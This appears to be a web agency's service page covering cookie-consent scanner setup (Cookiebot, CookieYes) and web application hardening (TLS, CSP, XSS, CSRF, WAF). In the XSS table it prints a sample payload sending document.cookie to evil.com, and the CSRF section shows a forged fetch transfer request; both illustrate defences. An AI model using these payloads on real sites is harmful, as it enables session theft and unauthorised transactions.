Imagine: 200+ pages in production, each with Google Analytics, Facebook Pixel, Hotjar, Intercom, and a dozen widgets. Manual cookie collection takes a week, and you have to repeat after every update. Once we found 17 unaccounted cookies from a misconfigured YouTube iframe — the client had no idea. Automation solves this in half a day.
A cookie scanner works like this: it loads the site in a browser emulator, simulates clicks, and collects all cookies set during load and interaction. Then each cookie is matched against a database of known services (5000+ records). The result is a complete list with categories: necessary, analytics, marketing. This isn't just inventory — it's the foundation for a correct consent banner. Our experience shows: automated scanning covers up to 98% of all cookies, leaving only 2% for manual review — ensuring no fines.
Cookiebot vs CookieYes: comparison
| Feature |
Cookiebot |
CookieYes |
| Automatic blocking |
data-blockingmode="auto" |
Built-in |
| TCF support |
Full |
None |
| GA4/GTM integration |
Deep |
Basic |
| Discoverable cookies |
5000+ |
2000+ |
| Free trial |
30 days |
Unlimited (limited) |
Cookiebot is chosen for high-privacy projects — full TCF support and deep Google integration. CookieYes suits small websites: easier to set up and cheaper. We use Cookiebot in 80% of projects.
How a cookie scanner helps avoid fines?
Non-compliance with GDPR can cost up to €20 million or 4% of annual global turnover. The scanner automatically classifies cookies and passes data to the CMP, enabling correct consent requests. Without a scanner, you risk missing cookies from hidden scripts — e.g., those loaded after a click on widgets. In one project, we found 17 extra cookies from a YouTube iframe that the client had ignored for years. Time savings — up to 80%, confidence in protection — 100%.
Setting up Cookiebot: step by step
-
Script installation — insert into
<head> before all other scripts (critical for blocking):
<script id="Cookiebot" src="https://consent.cookiebot.com/uc.js"
data-cbid="YOUR_CBID"
data-blockingmode="auto"
type="text/javascript">
</script>
-
Script marking — for each non-essential script, set
type="text/plain" and data-cookieconsent="statistics" (or marketing, preferences). Example:
<script type="text/plain" data-cookieconsent="statistics">
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'G-XXXXXXXX');
</script>
-
Verification — reload the page, open the banner, and give consent. Ensure scripts load only after consent. Use DevTools → Network to verify.
Why automated scanning beats manual?
Manual collection via DevTools gives a snapshot of a single session. You don't see cookies from services that load only after a click — e.g., video player or chat. Automation traverses all pages, simulates interactions, and delivers a full report. In one project we found 17 extra cookies — the client didn't even know. Time savings — up to 80%.
What other tasks does the scanner solve?
Beyond inventory, the scanner integrates with CMP (Consent Management Platform). It passes cookie categories to the banner so users can choose what to consent to. Without a scanner, classification is done manually — a common mistake leading to fines. According to GDPR.eu, non-compliance can cost up to €20 million or 4% of annual turnover. Our team is certified in GDPR compliance and has experience on 50+ projects — we guarantee correct setup.
Typical setup mistakes
| Mistake |
Consequence |
Solution |
Scanner script at end of <body> |
Blocking fails |
Move to <head> |
Wrong data-blockingmode |
Scripts load before consent |
Use auto |
| Not marking deferred-load scripts |
GTM sets cookies without consent |
Add data-cookieconsent |
| Not checking after updates |
New plugin sets cookies |
Regular scanning |
After setup, you receive a CSV file with: domain, cookie name, category, expiration, description. We also provide an updated Cookie Policy in HTML, ready for publication.
What's included in turnkey setup?
- Installation and configuration of the chosen scanner (Cookiebot/CookieYes).
- Marking all existing scripts (analytics, ads, social).
- Verification of blocking and unblocking via consent.
- Manual cookie audit + Playwright automation for full coverage.
- Delivery of report and updated Cookie Policy.
- Instructions for adding new scripts.
Timelines and how to order
Basic setup — 0.5–1 business day. If 10+ services integration or design customization needed — up to 3 days. Contact us for a free site audit. Get a consultation on scanner selection and legal protection. Order turnkey setup — and forget about cookie issues.
Web Application Security: HTTPS, CSP, XSS, CSRF, WAF, DDoS Protection
A website breach rarely looks like in movies. More often it's: a bot finds an unprotected /admin/export endpoint, downloads the customer database, and closes the connection. Or: through an outdated WordPress plugin, a web shell is uploaded, and the server starts sending spam. Or quieter: an XSS in a comment field allows stealing admin session cookies, unnoticed for months. We have analyzed dozens of such cases — each vulnerability could have been fixed at the development or audit stage.
Web application security is not a single setting. It's layers of protection, each closing a separate class of attacks. Order an audit — we'll assess the project and deliver a turnkey plan within 2–4 weeks.
How do we ensure comprehensive web application security?
HTTPS and Proper TLS Configuration
HTTPS is the minimum mandatory level. But having an SSL certificate and having a properly configured TLS are different things.
In Nginx/Apache configuration we check:
- Protocols: only TLS 1.2 and TLS 1.3, SSLv3 and TLS 1.0/1.1 are disabled
- Cipher suites: prefer ECDHE (Forward Secrecy), remove NULL, RC4, DES, 3DES
- HSTS (
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload) — browser will never make insecure requests
- OCSP Stapling — speeds up certificate revocation check
- Redirect 301 from HTTP to HTTPS — both in server config and code (double redirect causes SEO weight loss)
Check: SSL Labs (ssllabs.com/ssltest) should show A or A+. If B, the configuration is weak.
Let's Encrypt + Certbot for production is standard. Automatic renewal via certbot renew in cron. Wildcard certificates for subdomains via DNS-01 challenge.
Content Security Policy: The Most Powerful and Complex Protection
CSP is an HTTP header that tells the browser which sources are allowed to load resources. A properly configured CSP completely blocks most XSS attacks, even if the vulnerability exists in the code.
The problem: breaking the site with an incorrect CSP is easy. default-src 'none' — and fonts, images, JS stop working. So we start with Content-Security-Policy-Report-Only — CSP logs violations but does not block anything. We monitor reports for 2–4 weeks, refine the policy, then switch to enforcement mode.
Example of a real policy for a site with Google Analytics, Google Fonts, and Stripe:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}';
style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
font-src 'self' https://fonts.gstatic.com;
frame-src https://js.stripe.com;
img-src 'self' data: https://www.google-analytics.com;
connect-src 'self' https://api.stripe.com https://www.google-analytics.com;
report-uri /csp-report;
nonce — a random string generated server-side per request. Inline scripts with the correct nonce are allowed; without nonce, they are blocked. This completely breaks XSS via <script>alert(1)</script>.
'unsafe-inline' in style-src is a compromise for inline styles. It's better to remove it by moving all styles to CSS files, but that requires refactoring.
Why XSS Remains the Most Common Vulnerability?
XSS (Cross-Site Scripting) — injection of JS code through user input. According to OWASP, XSS is in the top 3 web application vulnerabilities. Three types:
| XSS Type |
Example |
Protection |
| Reflected |
/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> |
Output escaping, CSP |
| Stored |
Comment with code saved in database |
Input validation, htmlspecialchars() |
| DOM XSS |
element.innerHTML = location.hash |
Avoid innerHTML, use textContent |
Protection: never insert user input into HTML without escaping. In PHP — htmlspecialchars() with ENT_QUOTES. In Laravel Blade templates — {{ $var }} is safe, {!! $var !!} is dangerous. In React — {variable} is safe, dangerouslySetInnerHTML is dangerous. For Rich Text — use htmlpurifier on PHP or DOMPurify in the browser.
Typical case: an e-commerce site with XSS in a review form
A client contacted us after an attacker stole admin cookies via a product review. We found that the review field was not escaped. We fixed it by adding `htmlspecialchars()` on the server and a Content-Security-Policy with a nonce for scripts. After a rescan — 0 vulnerabilities.
CSRF: Protecting Forms and APIs
CSRF (Cross-Site Request Forgery) — an attacker forces the victim's browser to send a request on their behalf. Example: a user is logged into a bank, opens a malicious page, which makes fetch('https://bank.ru/transfer?to=evil&amount=50000') — if the bank is unprotected, money is transferred.
CSRF tokens — standard protection for forms: the server generates a random token, stores it in the session, and inserts it as a hidden field in the form. On POST request, the token is verified. The attacker does not know the token. Laravel does this automatically with @csrf.
SameSite cookies — modern protection: SameSite=Strict or SameSite=Lax prevents the browser from sending cookies in cross-site requests. Works in all modern browsers.
API without sessions (JWT, Bearer tokens) — CSRF is irrelevant if the token is not stored in a cookie (but in the Authorization header or localStorage). However, localStorage is vulnerable to XSS — so for sensitive data, HttpOnly cookies with SameSite are preferable.
WAF and DDoS Protection
WAF (Web Application Firewall) filters HTTP traffic for attacks: SQL injection, XSS, path traversal, known exploit patterns. Options:
- Cloudflare WAF — cloud-based, OWASP Top 10 rules out of the box, custom rules via expressions. Managed Rules automatically block new threats.
- ModSecurity (Nginx/Apache) — self-hosted, OWASP Core Rule Set (CRS). Flexible but requires tuning and monitoring of false positives.
- AWS WAF — for infrastructure on AWS, integrates with CloudFront and ALB.
DDoS protection. Cloudflare at L3/L4/L7 is the de facto standard for most sites. Automatic mitigation of volumetric attacks, Under Attack Mode during active attacks. For critical infrastructure — Cloudflare Magic Transit or specialized solutions (Qrator, StormWall for the Russian market).
Rate Limiting at the application level — an additional layer. Laravel ThrottleRequests middleware: 60 requests per minute per IP for general endpoints, 5 for /login and /password/reset. Redis as a counter store — mandatory for horizontally scalable systems (otherwise limits are not synchronized between servers).
Other Mandatory Measures
Security headers. Besides CSP: X-Frame-Options: DENY (clickjacking protection), X-Content-Type-Options: nosniff (MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (restrict browser API access: camera, microphone, geolocation).
SQL injection. Prepared statements everywhere. No concatenation of user input into SQL strings. ORM (Eloquent, Doctrine) protects by default. $wpdb->prepare() in WordPress is mandatory.
Dependency updates. composer audit and npm audit in CI/CD pipeline. Dependabot or Renovate for automatic PRs with updates. Critical CVEs — patch within 24 hours.
Secrets and configuration. .env — never in Git. Secrets in production — via CI/CD environment variables (GitHub Secrets, GitLab CI Variables) or HashiCorp Vault. Leak detection: git-secrets, truffleHog in pre-commit hooks.
How We Work
-
Audit — code scanning, configuration review, dependency analysis, manual business logic verification.
-
Planning — vulnerability remediation plan, stack selection (CSP, WAF, rate limiting).
-
Implementation — TLS setup, CSP configuration, headers, Rate Limiting, WAF.
-
Testing — re-penetration test, load testing, false positive check.
-
Deployment and Monitoring — enable production CSP, set up alerts, train the team.
What's Included
- Report with found vulnerabilities and recommendations (PDF + code snippets)
- Ready TLS configuration (Nginx/Apache)
- CSP policy with Report-Only and production versions
- WAF and Rate Limiting setup
- Dependency update plan
- Access to monitoring tools (Sentry, Datadog)
- 30 days of post-audit support (consultations, fixes)
Timeline and Cost
| Type of Work |
Duration |
Cost |
| Security audit + hardening (headers, TLS, updates) |
1–2 weeks |
Custom quote |
| CSP implementation (Report-Only → production) |
2–4 weeks |
Custom quote |
| WAF + Rate Limiting + DDoS protection setup |
1–2 weeks |
Custom quote |
| Comprehensive security review + penetration testing |
3–6 weeks |
Custom quote |
The budget is calculated individually — contact us for a project evaluation.
